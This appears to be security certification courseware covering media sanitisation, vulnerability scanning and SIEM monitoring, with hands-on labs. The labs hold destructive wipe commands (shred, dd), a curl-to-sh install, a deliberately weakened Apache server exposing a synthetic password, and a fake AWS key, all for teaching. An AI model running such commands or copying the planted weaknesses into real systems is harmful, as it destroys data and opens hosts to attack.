- Ordinary delete / format: The underlying blocks still hold the original content.
- Ordinary delete / format: Readily recovered with free forensic tools.
- Ordinary delete / format: Gives a false sense that the data is gone.
- Sanitisation: Overwrites the blocks or destroys the encryption key.
- Sanitisation: Leaves no recoverable content behind.
- Sanitisation: Verified by reading the media back after the wipe.
- Sanitisation: Evidenced by a certificate of sanitisation.

Obj 4.2 · Key Idea

- Classification decides the disposal method. Public data may just be overwritten, but Restricted data on failed media that cannot be overwritten must be physically destroyed and certified.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Exam tips

- Sanitisation makes data unrecoverable but can keep the media; destruction removes the media itself.
- NIST SP 800-88 levels: Clear (overwrite), Purge (cryptographic erase or degauss), Destroy (shred/incinerate).
- Always check data retention and legal hold before disposing of any asset.
- The owner is accountable for the asset; the custodian operates it day to day.

Lab 30 — Asset Inventory, Media Sanitisation and Disposal Certificate

Exam objective: 4.2. Learning outcome: Track an asset to disposal and certify the sanitisation.

Goal: The learner records an asset's owner and classification, checks retention and legal hold, proves deletion is not sanitisation, wipes a device with shred/dd/blkdiscard, performs a crypto erase and issues a NIST SP 800-88 certificate.

What you'll build

An ITAM folder with inventory, retention schedule, read-back verification and a signed certificate of sanitisation. (Tools: util-linux, coreutils, shred, cryptsetup, jq.)

Step-by-step

1. Install the tools Most of these are present already; installing them makes the lab repeatable.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
util-linux coreutils e2fsprogs cryptsetup jq bsdextrautils || apt-get
install -y util-linux coreutils e2fsprogs cryptsetup jq

mkdir -p /root/itam
```

2. Build the asset inventory and enumerate this host The inventory records ownership (the accountable business owner), the custodian (who looks after it day to day) and the classification. Enumeration then collects what this machine actually is and runs, which is the data an agent or a discovery scan feeds into a CMDB.

```
cd /root/itam

cat > inventory.csv <<'EOF'

asset_tag,type,model,serial,owner,custodian,classification,location,status

SG-LT-0142,laptop,Latitude 7440,SN-7F3K92,Finance (CFO),IT
Ops,Confidential,SG-HQ,In service

SG-SRV-0007,server,PowerEdge R650,SN-Q2LX81,Payments (Head of
Payments),Infra Team,Restricted,SG-DC1,In service
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
SG-USB-0031,usb-drive,Kingston DT 32GB,SN-KDT331,HR (HR Director),IT
Ops,Confidential,SG-HQ,Lost - reported

SG-DISK-0099,disk,Virtual 64MiB,SN-LAB0099,Finance (CFO),IT
Ops,Confidential,Lab,Retired

EOF

column -s, -t < inventory.csv

jq -n --arg host "$(hostname)" --arg os "$(. /etc/os-release; echo
"$PRETTY_NAME")" --arg kernel "$(uname -r)" \

  --argjson pkgs "$(dpkg-query -W | wc -l)" --argjson disks "$(lsblk -J -d
-o NAME,SIZE,TYPE)" \

  '{host:$host, os:$os, kernel:$kernel, installed_packages:$pkgs, disks:
$disks.blockdevices}' | tee host-enum.json

dpkg-query -W -f='${Package} ${Version}\n' > software-inventory.txt

grep -E '^(telnet|john|hydra|nmap) ' software-inventory.txt || echo "No
unapproved tools found in the software inventory"
```

3. Check retention and legal hold before disposal Before any media is wiped, the data owner confirms that the retention period is satisfied and that no legal hold applies. Recording that decision is part of the audit trail.

```
cd /root/itam

cat > retention-schedule.csv <<'EOF'

record_type,retention_period,basis,legal_hold

customer_invoices,5 years after the financial year,tax and accounting
law,no

payroll_records,7 years,employment records policy,no

cctv_footage,30 days,privacy policy (PDPA),no

incident_2026_017_evidence,until the case is closed,legal counsel
instruction,yes

EOF

cat > disposal-request-SG-DISK-0099.txt <<'EOF'

asset_tag=SG-DISK-0099

contents=customer_invoices (working copies; system of record is the ERP)

retention_met=yes

legal_hold=no
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
approved_by=Finance data owner

EOF

grep -q '^legal_hold=no' disposal-request-SG-DISK-0099.txt && grep -q
'^retention_met=yes' disposal-request-SG-DISK-0099.txt \

  && echo "RETENTION CHECK PASSED - disposal of SG-DISK-0099 approved"
```

4. Prove that deleting is not sanitising Attach a 64 MiB image as a loop block device (asset SG-DISK-0099), put a file system on it, write synthetic confidential records, delete the file and unmount. The raw device still contains the data.

```
cd /root/itam

truncate -s 64M retired-disk.img

LOOP=$(losetup -f --show retired-disk.img); echo "$LOOP" > loopdev; echo
"SG-DISK-0099 attached as $LOOP"

mkfs.ext4 -q "$LOOP"

mkdir -p /mnt/retired && mount "$LOOP" /mnt/retired

for i in $(seq 1 200); do echo
"CONFIDENTIAL,cust$i@example.com,invoice-2026-$i,SGD $((i*37))"; done >
/mnt/retired/invoices.csv

sync; rm /mnt/retired/invoices.csv; sync; umount /mnt/retired

echo "Records still readable on the raw device after delete:"; grep -a -c
'CONFIDENTIAL' "$LOOP"
```

5. Clear the media with shred shred overwrites the whole block device. One random pass followed by a zero pass (-z) meets the NIST Clear level for magnetic media. Afterwards, search the device again.

```
LOOP=$(cat /root/itam/loopdev)

shred -v -n 1 -z "$LOOP"

grep -a -c 'CONFIDENTIAL' "$LOOP" || echo "-> 0 matches: data no longer
recoverable by software"
```

6. Use the alternatives: dd zero-fill and blkdiscard dd is the universal overwrite tool. blkdiscard sends TRIM/discard, which on SSDs and thin-provisioned storage tells the device to release the blocks. On a loop device it punches holes in the backing file.

```
LOOP=$(cat /root/itam/loopdev)

SIZE=$(blockdev --getsize64 "$LOOP")

dd if=/dev/zero of="$LOOP" bs=1M count=$((SIZE/1048576)) oflag=direct
status=progress
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
blkdiscard -f "$LOOP" && echo "blkdiscard completed" || echo "discard not
supported on this device - overwrite already done"
```

7. Verify the result and keep evidence Verification is mandatory under NIST SP 800-88. Read back every byte and compare it with zeros, then record a hash of the sanitised device as evidence.

```
LOOP=$(cat /root/itam/loopdev)

SIZE=$(blockdev --getsize64 "$LOOP")

cmp -n "$SIZE" "$LOOP" /dev/zero && echo "VERIFIED: all $SIZE bytes of
$LOOP read back as zero"

sha256sum "$LOOP" | tee /root/itam/verify-hash.txt

head -c "$SIZE" /dev/zero | sha256sum
```

8. Purge by cryptographic erase Self-encrypting drives and phones are purged by destroying the encryption key, not by overwriting. Simulate a laptop SSD encrypted with LUKS, then erase all of its key slots. The ciphertext remains on disk but can never be decrypted.

```
cd /root/itam

truncate -s 32M laptop-ssd.img

head -c 64 /dev/urandom > laptop-ssd.key && chmod 600 laptop-ssd.key

cryptsetup luksFormat --batch-mode --type luks2 laptop-ssd.img laptop-
ssd.key

cryptsetup luksDump laptop-ssd.img | grep -A2 '^Keyslots:'

cryptsetup luksErase --batch-mode laptop-ssd.img

cryptsetup luksDump laptop-ssd.img | grep -A2 '^Keyslots:'

cryptsetup open --test-passphrase --key-file laptop-ssd.key laptop-ssd.img
|| echo "PURGED: no key slot can unlock this volume"
```

9. Issue the certificate and close the asset record Produce a certificate using the NIST SP 800-88 Appendix G fields, update the inventory status and detach the device.

```
cd /root/itam

LOOP=$(cat loopdev)

cat > certificate-SG-DISK-0099.txt <<EOF

CERTIFICATE OF MEDIA SANITISATION (fields per NIST SP 800-88 Rev. 1,
Appendix G)
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
------------------------------------------------------------------------
----

Asset tag / serial     : SG-DISK-0099 / SN-LAB0099

Media type / model     : Virtual block device, 64 MiB ($LOOP)

Data owner             : Finance (CFO)

Data classification    : Confidential

Retention / legal hold : Retention met, no legal hold (disposal-request-SG-
DISK-0099.txt)

Sanitisation level     : Clear (NIST SP 800-88)

Technique and tools    : shred -n 1 -z, dd zero fill, blkdiscard ($(shred
--version | head -1))

Verification method    : Full read-back, cmp against /dev/zero, 0 residual
matches

Verification SHA-256   : $(awk '{print $1}' verify-hash.txt)

Post-sanitisation      : Reuse internally, or send to an e-waste vendor for
destruction

Performed by           : $(whoami)@$(hostname)

Date and time (UTC)    : $(date -u '+%Y-%m-%d %H:%M')

Validated by           : _____ (independent witness)

EOF

cat certificate-SG-DISK-0099.txt

sed -i 's/^\(SG-DISK-0099,.*\),Retired$/\1,Sanitised - certificate on
file/' inventory.csv

grep '^SG-DISK-0099' inventory.csv

losetup -d "$LOOP" && echo "$LOOP detached"
```

Test it

grep finds 0 CONFIDENTIAL matches on the wiped image, the certificate shows the Clear level and a 64-hex hash, and the inventory status reads 'Sanitised - certificate on file'.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-30-data-sanitisation/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 4.3 — Vulnerability Management

Official objective: Explain various activities associated with vulnerability management.

Vulnerability management is a continuous cycle: identify weaknesses, analyse and prioritise them, respond, then validate and report on the result.

Weaknesses are found many ways: vulnerability scans, application security testing, threat feeds, penetration testing, disclosure programmes and audits.

Analysis confirms each finding is real, then prioritises it using CVSS severity, CVE identity, exposure and business context against the organisation's risk tolerance.

Response ranges from patching to compensating controls or a formal exception, and remediation is proven by rescanning, audit and verification before it is reported.

The Vulnerability Management Cycle

- Step 1: Discover and inventory every asset in scope
- Step 2: Identify weaknesses by scanning and other methods
- Step 3: Analyse: confirm, score and prioritise each finding
- Step 4: Respond: patch, mitigate or formally accept
- Step 5: Validate by rescanning, then report the trend

Ways to Identify Vulnerabilities

- Vulnerability scan — Automated tools probe hosts and compare findings against a database of known flaws and misconfigurations.
- Application security — Static analysis reads source code, dynamic analysis tests the running app, and package monitoring tracks vulnerable dependencies.
- Threat feed — External intelligence on current threats: OSINT, proprietary and third-party feeds, information-sharing organisations and dark-web monitoring.
- Penetration testing — Authorised ethical attack that confirms what is actually exploitable, going beyond what a scanner can see.
- Responsible disclosure — A channel for outsiders to report flaws safely; a bug bounty programme pays researchers for valid findings.
- System/process audit — An independent review that checks configuration and process against a standard and surfaces gaps a scanner would miss.

Static, Dynamic and Package Monitoring

- Static (SAST): Analyses source code or binaries without running them.
- Static (SAST): Finds flaws early, before the code is deployed.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Static (SAST): Sees the whole code path but cannot see runtime state.
- Static (SAST): Can raise false positives on code that is never reached.
- Dynamic (DAST): Tests the application while it is running.
- Dynamic (DAST): Finds flaws only on the paths the test exercises.
- Dynamic (DAST): Sees real runtime behaviour and configuration.
- Dynamic (DAST): Package monitoring complements both by tracking vulnerable dependencies.

Confirming the Findings

- True positive — A reported flaw that is genuinely present and exploitable; this is what you remediate.
- False positive — The tool flags a flaw that is not really there; it wastes effort and erodes trust in the scanner.
- False negative — A real flaw the scan missed; the most dangerous outcome, and the reason scanning never fully replaces pen testing.
- Confirmation — Manually verify each finding before acting, so the team spends effort on real risk, not scanner noise.

Scoring and Prioritising

- CVE — Common Vulnerabilities and Exposures: the unique public identifier for one specific flaw, for example CVE-2024-3094.
- CVSS — Common Vulnerability Scoring System: a 0-10 severity score from base metrics such as attack vector and impact.
- Classification — The type of weakness (for example injection, misconfiguration), which groups similar findings for remediation.
- Exposure factor — How much of the asset's value is lost if the flaw is exploited, feeding the risk calculation.
- Environmental variables — Local context (compensating controls, asset location) that adjusts the base CVSS score to your environment.
- Risk tolerance — How much residual risk the organisation will accept decides which findings must be fixed and how fast.
- Prioritise by CVSS plus industry/organisational impact and exploitability (CISA KEV), not the raw score alone.

Obj 4.3 · Key Idea

- CVSS is severity, not risk. Risk combines the score with exposure, exploit availability (CISA KEV) and business impact, which is why a 9.8 on an isolated host can wait behind a 7.5 on the internet edge.

Response and Remediation Options

- Patching — Apply the vendor fix; the primary remediation that actually removes the vulnerability.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Segmentation — Isolate the vulnerable system on its own network segment to limit what an attacker can reach.
- Compensating controls — Other controls (a WAF, tighter firewall rules) that reduce risk when you cannot patch immediately.
- Insurance — Cyber-insurance transfers residual financial risk; it never removes the vulnerability itself.
- Exceptions & exemptions — A documented, time-boxed, owner-approved decision to accept a risk when remediation is not yet possible.

Proving and Reporting the Fix

- Rescanning — Scan again after remediation to confirm the finding is gone and no new issue was introduced.
- Audit — An independent check that the remediation was applied and the process was followed.
- Verification — Confirm the fix actually resolves the weakness, not just that a patch was installed.
- Reporting — Report findings, actions and trends to stakeholders, showing whether risk is going down over time.

Exam tips

- CVE identifies a specific flaw; CVSS scores its severity 0-10; CVSS is severity, not overall risk.
- False negative (missed real flaw) is more dangerous than false positive (false alarm).
- An exception/exemption must be documented, time-boxed and approved by the risk owner, with a compensating control.
- Validate remediation by rescanning and verification before closing and reporting the finding.

Lab 31 — Vulnerability Scanning, Confirmation and Rescan

Exam objective: 4.3. Learning outcome: Scan, confirm, prioritise, remediate and validate a finding.

Goal: The learner scans a deliberately weak web server with Nmap and Nikto, compares the uncredentialed and credentialed views, confirms true vs false positives, prioritises with CVSS and context, remediates and rescans.

What you'll build

A vuln folder with raw scan output, a triage sheet, a CVSS-prioritised register and a before/after report. (Tools: apache2, nmap, nikto, curl.)

Step-by-step

1. Install the scanners and the target Nmap and Nikto are the scanners; Apache is the target. Nikto lives in Ubuntu's multiverse component.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
apache2 nmap nikto curl

systemctl enable --now apache2

mkdir -p /root/vuln && curl -sI http://127.0.0.1 | head -3
```

2. Plant realistic weaknesses Real servers drift. Here you expose the full version banner and leave a backup file in a directory that has listing enabled. Both are classic findings, and the secret is synthetic.

```
mkdir -p /var/www/html/backup

echo "db_user=webapp db_password=Synthetic-Lab-Only-123" >
/var/www/html/backup/config.bak

sed -i 's/^ServerTokens .*/ServerTokens Full/; s/^ServerSignature
.*/ServerSignature On/' /etc/apache2/conf-available/security.conf

systemctl reload apache2

curl -s http://127.0.0.1/backup/ | grep -o 'config.bak' | head -1
```

3. Run an uncredentialed network scan with Nmap Service and version detection (-sV) plus NSE scripts see the host exactly as a remote attacker would. The vulners script maps detected versions to CVE identifiers when the playground has internet access.

```
cd /root/vuln

nmap -sV -p 22,80 --script "http-headers,http-enum,http-server-
header,vulners" 127.0.0.1 -oN nmap-before.txt

grep -E 'open|/backup|Server:|CVE-' nmap-before.txt | head -20
```

4. Scan the web application with Nikto Nikto tests thousands of known-dangerous files, headers and misconfigurations. Expect findings about missing security headers, the version banner and the indexed backup directory.

```
cd /root/vuln

nikto -h http://127.0.0.1 -o nikto-before.txt -Format txt

grep '^+' nikto-before.txt | head -20
```

5. Add the credentialed view A credentialed scan logs in and reads local package state. Run the same check an agent or an authenticated scanner would, counting missing patches that no network probe can see.

```
cd /root/vuln

apache2 -v | head -1

apt-get -s upgrade 2>/dev/null | grep '^Inst' > missing-patches.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
echo "Pending package updates (credentialed finding): $(wc -l < missing-
patches.txt)"

grep -iE 'apache2|openssh|openssl|libc6' missing-patches.txt | head -5 ||
echo "No pending updates for the key packages"
```

6. Confirm findings as true or false positives Never ship raw scanner output. Re-test each finding by hand and record the verdict.

```
cd /root/vuln

curl -sI http://127.0.0.1 | grep -iE '^server:|^x-frame-options|^x-content-
type-options' ; echo "---"

curl -s -o /dev/null -w "backup listing HTTP %{http_code}\n"
http://127.0.0.1/backup/

curl -s http://127.0.0.1/backup/config.bak | grep -c db_password

cat > triage.csv <<'EOF'

id,finding,source,verdict,evidence

F1,Directory listing exposes /backup/config.bak with credentials,nikto+nmap
http-enum,True positive,HTTP 200 and the file contains db_password

F2,Full Apache version disclosed in Server header,nikto+nmap,True
positive,Server header shows the full version and OS

F3,X-Frame-Options and X-Content-Type-Options missing,nikto,True
positive,headers absent in curl -I

F4,Version-based CVE match for Apache,nmap vulners,Needs review,Ubuntu
backports fixes without changing the version string - often a false
positive

EOF

column -s, -t < triage.csv
```

7. Prioritise with CVSS and context Score each confirmed finding, then adjust for context. F1 is internet-facing and leaks a credential, so it goes first even though its base score is not the highest possible.

```
cd /root/vuln

cat > findings-register.csv <<'EOF'

id,cvss_base,vector,exposure,asset_criticality,priority,due

F1,7.5,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N,Internet-facing,High,P1,48 hours

F2,5.3,AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N,Internet-facing,High,P3,30 days

F3,4.3,AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N,Internet-facing,High,P3,30 days
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
F4,n/a,pending confirmation,Internet-facing,High,P2-verify,7 days

EOF

sort -t, -k6,6 findings-register.csv | column -s, -t
```

8. Remediate Fix the root causes: remove the backup from the web root, disable indexing, hide the version and add the security headers. The zz- prefix makes the file load after Ubuntu's security.conf, so its settings win.

```
mkdir -p /root/vuln/quarantine && mv /var/www/html/backup/config.bak
/root/vuln/quarantine/

cat > /etc/apache2/conf-available/zz-secplus-hardening.conf <<'EOF'

ServerTokens Prod

ServerSignature Off

<Directory /var/www/html>

    Options -Indexes

</Directory>

Header always set X-Frame-Options "SAMEORIGIN"

Header always set X-Content-Type-Options "nosniff"

Header always set Referrer-Policy "no-referrer"

EOF

a2enmod -q headers && a2enconf -q zz-secplus-hardening && apache2ctl
configtest && systemctl reload apache2
```

9. Rescan to validate and report Validation means you repeat the same scans and compare. Then produce a short report for the asset owner.

```
cd /root/vuln

nikto -h http://127.0.0.1 -o nikto-after.txt -Format txt >/dev/null

nmap -sV -p 80 --script "http-headers,http-enum" 127.0.0.1 -oN nmap-
after.txt >/dev/null

curl -s -o /dev/null -w "backup listing now HTTP %{http_code}\n"
http://127.0.0.1/backup/

{

  echo "VULNERABILITY VALIDATION REPORT - host 127.0.0.1 - $(date -u '+%Y-
%m-%d %H:%M UTC')"

  echo "Nikto findings before: $(grep -c '^+' nikto-before.txt)  after: $
(grep -c '^+' nikto-after.txt)"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
  echo "Header check after fix:"; curl -sI http://127.0.0.1 | grep -iE
'^server:|^x-frame|^x-content'

  echo "Pending OS patches (credentialed): $(wc -l < missing-patches.txt) -
schedule in the next maintenance window"

} | tee validation-report.txt
```

Test it

After remediation the Server header shows no version, both security headers are present, /backup/ returns 403 or 404, and the report shows fewer Nikto findings than before.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-31-vulnerability-scanning/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 32 — Vulnerability Management Pipeline with Trivy

Exam objective: 4.3. Learning outcome: Run the vulnerability management cycle end to end with Trivy.

Goal: The learner runs package, OS and container scans with Trivy, builds a CVSS-sorted patch queue, enriches it with the CISA KEV feed, records a time-boxed exception, remediates and rescans, then scans for secrets.

What you'll build

A VM-lab folder with JSON scans, a patch queue, a KEV-matched list, an exceptions file and a before/after report. (Tools: trivy, curl, jq.)

Step-by-step

1. Install Trivy Trivy's official install script downloads a pinned release and verifies its checksum, which is itself a good supply-chain habit.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
curl jq

curl -sfL
https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/
install.sh | sh -s -- -b /usr/local/bin v0.74.0

trivy --version | head -1

mkdir -p /root/vm-lab/app && cd /root/vm-lab
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

2. Package monitoring: scan the app's dependencies Create a Python app that pins old library versions, then scan the manifest. The first run downloads the vulnerability database.

```
cd /root/vm-lab

cat > app/requirements.txt <<'EOF'

Django==3.2.0

requests==2.25.0

PyYAML==5.3

Jinja2==2.11.2

urllib3==1.26.4

EOF

trivy fs --scanners vuln --severity HIGH,CRITICAL app/

trivy fs --scanners vuln --format json -o deps-before.json app/
```

3. Scan the host operating system rootfs mode inventories every installed OS package and matches it against the vendor's security tracker. This is the credentialed, inside view of the server.

```
cd /root/vm-lab

trivy rootfs --scanners vuln --pkg-types os --severity HIGH,CRITICAL --
skip-dirs /proc,/sys,/root / 2>/dev/null | tail -25
```

4. Scan a container image Trivy can pull an image straight from the registry without Docker installed. The deliberately old node:14-alpine image carries many fixed-but-unpatched vulnerabilities.

```
cd /root/vm-lab

trivy image --image-src remote --severity HIGH,CRITICAL node:14-alpine
2>/dev/null | head -30

trivy image --image-src remote --format json -o image-before.json node:14-
alpine 2>/dev/null
```

5. Build a CVSS-sorted patch queue Flatten the JSON into one row per vulnerability, sorted by CVSS v3 base score. This is the raw severity view.

```
cd /root/vm-lab

jq -r '.Results[]?.Vulnerabilities[]? | [.VulnerabilityID, .Severity,
(.CVSS.nvd.V3Score // .CVSS.ghsa.V3Score //
0), .PkgName, .InstalledVersion, (.FixedVersion // "no fix")] | @tsv' \
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
  deps-before.json image-before.json | sort -u | sort -t$'\t' -k3,3 -gr >
patch-queue.tsv

echo "Total findings: $(wc -l < patch-queue.tsv)"

head -10 patch-queue.tsv | column -t -s$'\t'
```

6. Add threat intelligence: the CISA KEV feed Download the free KEV feed and intersect it with your findings. Anything on KEV is being exploited right now, so it is patched first regardless of the raw score.

```
cd /root/vm-lab

curl -s -o kev.json
https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilit
ies.json

jq -r '.vulnerabilities[].cveID' kev.json | sort -u > kev-ids.txt

echo "KEV catalogue size: $(wc -l < kev-ids.txt)"

cut -f1 patch-queue.tsv | sort -u | grep -Fxf kev-ids.txt > our-kev-
matches.txt || true

echo "Our findings that are on KEV: $(wc -l < our-kev-matches.txt)"; cat
our-kev-matches.txt
```

7. Record a time-boxed exception The image cannot be rebuilt this week, so the risk owner accepts one finding until a fixed date, with a compensating control. The exception lives in its own ignore file that is passed explicitly with --ignorefile. Trivy honours the exp: date, and the finding automatically reappears after it.

```
cd /root/vm-lab

TOP=$(jq -r '.Results[]?.Vulnerabilities[]? | [(.CVSS.nvd.V3Score //
0), .VulnerabilityID] | @tsv' image-before.json | sort -gr | head -1 | cut
-f2)

cat > exceptions.trivyignore <<EOF

# Exception EX-2026-014 | owner: Head of Platform | compensating control:
image runs on an isolated segment with no inbound internet

$TOP exp:2026-12-31

EOF

cat exceptions.trivyignore

echo "Before exception: $(trivy image --image-src remote --severity
HIGH,CRITICAL -q --format json node:14-alpine | jq
'[.Results[]?.Vulnerabilities[]?] | length')"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
echo "With exception:   $(trivy image --image-src remote --severity
HIGH,CRITICAL -q --ignorefile exceptions.trivyignore --format json node:14-
alpine | jq '[.Results[]?.Vulnerabilities[]?] | length')"
```

8. Remediate and validate with a rescan Upgrade the dependencies to fixed versions, rescan, and use --exit-code as a pipeline gate so a build with critical findings fails automatically.

```
cd /root/vm-lab

cp app/requirements.txt app/requirements.txt.before

cat > app/requirements.txt <<'EOF'

Django==4.2.20

requests==2.32.4

PyYAML==6.0.2

Jinja2==3.1.6

urllib3==2.5.0

EOF

trivy fs --scanners vuln --format json -o deps-after.json app/

echo "Dependency findings before: $(jq '[.Results[]?.Vulnerabilities[]?] |
length' deps-before.json)  after: $(jq '[.Results[]?.Vulnerabilities[]?] |
length' deps-after.json)"

trivy fs --scanners vuln --severity CRITICAL --exit-code 1 -q app/ && echo
"GATE PASSED: no critical dependency findings"
```

9. Scan for secrets and write the report The same scanner finds hard-coded credentials, which belongs in the same pipeline. Then summarise everything for the asset owner.

```
cd /root/vm-lab

echo 'AWS_ACCESS_KEY_ID="AKIAZ7Q3LABTESTKEY42"' > app/.env

trivy fs --scanners secret app/ 2>/dev/null | grep -E 'AWS|Total' || true

{

  echo "VULNERABILITY MANAGEMENT REPORT - $(date -u '+%Y-%m-%d')"

  echo "Dependencies: $(jq '[.Results[]?.Vulnerabilities[]?] | length'
deps-before.json) findings before, $(jq '[.Results[]?.Vulnerabilities[]?] |
length' deps-after.json) after upgrade"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
  echo "Image node:14-alpine: $(jq '[.Results[]?.Vulnerabilities[]?] |
length' image-before.json) findings - action: rebuild on a supported base
image"

  echo "KEV matches (patch first): $(wc -l < our-kev-matches.txt)"

  echo "Open exceptions: $(grep -vc '^#' exceptions.trivyignore) (expires
2026-12-31)"

} | tee vm-report.txt
```

Test it

The report shows fewer dependency findings after the upgrade than before, lists the KEV match count and one open exception, and the CRITICAL gate prints exit 0.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-32-vulnerability-management-trivy/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 4.4 — Alerting & Monitoring

Official objective: Explain security alerting and monitoring concepts and tools.

Monitoring watches the systems, applications and infrastructure that matter, turning raw activity into events, alerts and, when confirmed, incidents.

The core activities are log aggregation, alerting, scanning, reporting and archiving, closed by alert response and remediation.

Alert tuning and quarantine keep the signal usable: too many false positives cause alert fatigue, so known-good noise is suppressed narrowly.

A toolbox supports all of this: SCAP and benchmarks, agents or agentless collection, SIEM, antivirus, DLP, SNMP traps, NetFlow and vulnerability scanners.

Monitoring Computing Resources

- Systems — Operating-system health and security: logins, privilege use, services, patch state and host integrity across every server and endpoint.
- Applications — App logs and behaviour: errors, authentication, data access and anomalies that a host log alone would not reveal.
- Infrastructure — Network and platform devices: switches, routers, firewalls and cloud services, often watched agentless over SNMP or flow data.
- Availability — Whether services are actually up; a service you assume is running may be down under a denial-of-service attack.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Log, Event, Alert, Incident

- Log — A raw record written by a source, such as one line appended to the authentication log.
- Event — A parsed, normalised log placed into common fields such as source address, user and timestamp.
- Alert — An event or correlated set of events that matched a detection rule and needs human attention.
- Incident — A confirmed alert with real adverse impact, which triggers the incident response process.
- Aggregation — Collecting logs from many hosts into one searchable store so analysts get a single view.
- Correlation — Joining events across sources, such as a firewall deny plus a failed login from the same address.
- A platform that raises alerts nobody can triage is worse than useless: real detections drown in the noise.

The Monitoring Activities

- Log aggregation — Gather logs from every source into one place, normalise them and keep clocks in sync with NTP so correlation is meaningful.
- Alerting — Raise a notification when a rule matches, routed to the right team with enough context to act.
- Scanning — Periodically scan for vulnerabilities and configuration drift, feeding results into the same monitoring pipeline.
- Reporting — Summarise volume and trends; a steady trickle differs from a sudden spike of similar incidents that signals an attack.
- Archiving — Retain logs per regulation and investigation needs, with recent data searchable and older data stored cheaply.
- Alert response — Respond and validate: quarantine the affected host or file, remediate, and tune the rule that fired.

Agent-Based versus Agentless

- Agent-based: An agent on each host ships logs, integrity data and inventory.
- Agent-based: It can run local checks and buffer during network outages.
- Agent-based: It encrypts the channel back to the manager.
- Agent-based: It must be deployed, patched and managed on every host.
- Agentless: The manager pulls data over syslog, SNMP, SSH or a cloud API.
- Agentless: It is the only option for appliances that cannot run software.
- Agentless: Visibility is limited to whatever the device chooses to emit.
- Agentless: It adds no endpoint footprint, suiting change-controlled systems.

Alert Tuning and Quarantine

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Alert fatigue — Too many false positives train analysts to ignore alerts, so a real detection gets missed in the noise.
- Alert tuning — Suppress or threshold known-good behaviour narrowly rather than disabling the whole rule, so the detection survives.
- Quarantine — Isolate the suspect host or file automatically on a confirmed alert, containing the threat while an analyst investigates.
- Validation — Confirm the response worked and the alert was true before closing, then feed the lesson back into the rule.

The Monitoring Toolbox

- SIEM — Security information and event management aggregates and correlates logs, raises alerts and holds them for investigation.
- SCAP & benchmarks — The Security Content Automation Protocol automates checking hosts against benchmarks such as CIS for compliance monitoring.
- Antivirus & DLP — Antivirus watches for malware; data loss prevention enforces conditions and actions to stop sensitive data leaving.
- SNMP traps — Network devices push asynchronous SNMP trap messages to the manager when a defined condition occurs.
- NetFlow — Records traffic metadata (who talked to whom, how much) rather than payloads; cheap to keep and ideal for spotting trends.
- Vulnerability scanners — Feed weakness findings into the same monitoring and reporting pipeline as part of continuous assurance.

Exam tips

- Log -> event -> alert -> incident: only a confirmed alert with impact is an incident.
- Alert tuning suppresses known-good noise narrowly to fight alert fatigue, without disabling the detection.
- NetFlow stores metadata only, so it is cheap to retain and good for trend and beaconing analysis; a full packet capture holds payloads.
- SCAP automates benchmark/compliance checks; SNMP traps are device-pushed alerts.

Lab 33 — SIEM Alerting and Monitoring with Wazuh

Exam objective: 4.4. Learning outcome: Aggregate logs, write a detection, tune and query a SIEM.

Goal: The learner runs a single-node Wazuh SIEM, aggregates an application log, writes a custom detection, triggers and reads real alerts, reports on them, tunes out a known-good source, queries the REST API and enables archiving.

What you'll build

A working Wazuh manager with a custom log source, a detection and a tuning rule, an alert report and JSON archiving. (Tools: wazuh-manager, wazuh-indexer, curl, jq.)

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

